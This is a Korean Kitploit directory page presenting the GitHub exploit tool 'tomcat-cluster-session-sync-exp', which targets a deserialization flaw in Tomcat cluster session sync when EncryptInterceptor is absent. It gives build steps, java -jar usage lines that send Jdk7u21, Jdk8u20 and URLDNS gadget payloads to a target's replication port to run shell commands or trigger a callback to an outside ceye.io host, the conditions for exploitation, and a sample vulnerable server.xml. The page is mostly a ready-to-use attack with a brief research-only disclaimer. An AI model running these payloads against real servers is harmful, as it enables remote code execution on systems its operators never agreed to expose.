Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
tomcat-cluster-session-sync-exp — tomcat가 자체 session 동기화 기능을 사용할 때 안전하지 않은 구성(EncryptInterceptor를 사용하지 않음)으로 인해 발생하는 역직렬화 취약점입니다. 정교하게 조작된 패킷을 통해 tomcat 자체 session 동기화 기능을 사용하는 서버를 공격할 수 있습니다. PS: 이는 CVE-2020-9484가 아닙니다. 9484는 session 지속화 관련 취약점이고, 이는 session 클러스터 동기화 관련 취약점입니다! | Kitploit
도구/GitHubGitHub/threedr3am/tomcat-cluster-session-sync-exp
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubthreedr3am/tomcat-cluster-session-sync-exp

tomcat-cluster-session-sync-exp

tomcat가 자체 session 동기화 기능을 사용할 때 안전하지 않은 구성(EncryptInterceptor를 사용하지 않음)으로 인해 발생하는 역직렬화 취약점입니다. 정교하게 조작된 패킷을 통해 tomcat 자체 session 동기화 기능을 사용하는 서버를 공격할 수 있습니다. PS: 이는 CVE-2020-9484가 아닙니다. 9484는 session 지속화 관련 취약점이고, 이는 session 클러스터 동기화 관련 취약점입니다!

저장소 보기
21437236년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

도구는 보안 연구 및 내부 자체 점검에만 사용되며, 불법 공격에 사용하는 것을 금지합니다. 발생하는 모든 책임은 사용자에게 있습니다.

Tomcat Cluster Sync-Session 익스플로잇

이는 Tomcat이 자체 세션 동기화 기능을 사용할 때 보안 설정이 취약한 경우(EncryptInterceptor를 사용하지 않음) 발생하는 역직렬화 취약점입니다. 정교하게 조작된 데이터 패킷을 통해 Tomcat의 자체 세션 동기화 기능을 사용하는 서버를 공격할 수 있습니다.

사용법

먼저 JAR 패키지를 컴파일합니다:

root@kitploit:~
mvn clean compile assembly:assembly

생성된 JAR 파일은 target 디렉터리에 있습니다.

사용 예시:

root@kitploit:~
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"

조건

  1. Tomcat에서 세션 동기화가 활성화되어 있고 EncryptInterceptor가 구성되지 않음
  2. JDK 버전이 jdk8u20, jdk7u21 미만(틀릴 수 있음)
  3. 동기화 엔드포인트에 접근 가능(일반적으로 내부 네트워크)

Tomcat 세션 동기화 구성

(conf/server.xml):

root@kitploit:~
<Server>
    ...
    
    <Service>
        ...
        
        <Engine>
            ...
            
            <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                    channelSendOptions="6">
            
                    <Manager className="org.apache.catalina.ha.session.BackupManager"
                      expireSessionsOnShutdown="false"
                      notifyListenersOnReplication="true"
                      mapSendOptions="6"/>
            
            
                    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                      <Membership className="org.apache.catalina.tribes.membership.McastService"
                        address="228.0.0.4"
                        port="45564"
                        frequency="500"
                        dropTime="3000"/>
                      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                        address="123.123.123.123"
                        port="5000"
                        selectorTimeout="100"
                        maxThreads="6"/>
            
                      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                      </Sender>
                    </Channel>
            
                    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                      filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
            
                    <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                      tempDir="/tmp/war-temp/"
                      deployDir="/tmp/war-deploy/"
                      watchDir="/tmp/war-listen/"
                      watchEnabled="false"/>
            
                    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
            </Cluster>
        </Engine>
  </Service>
</Server>
도구 다운로드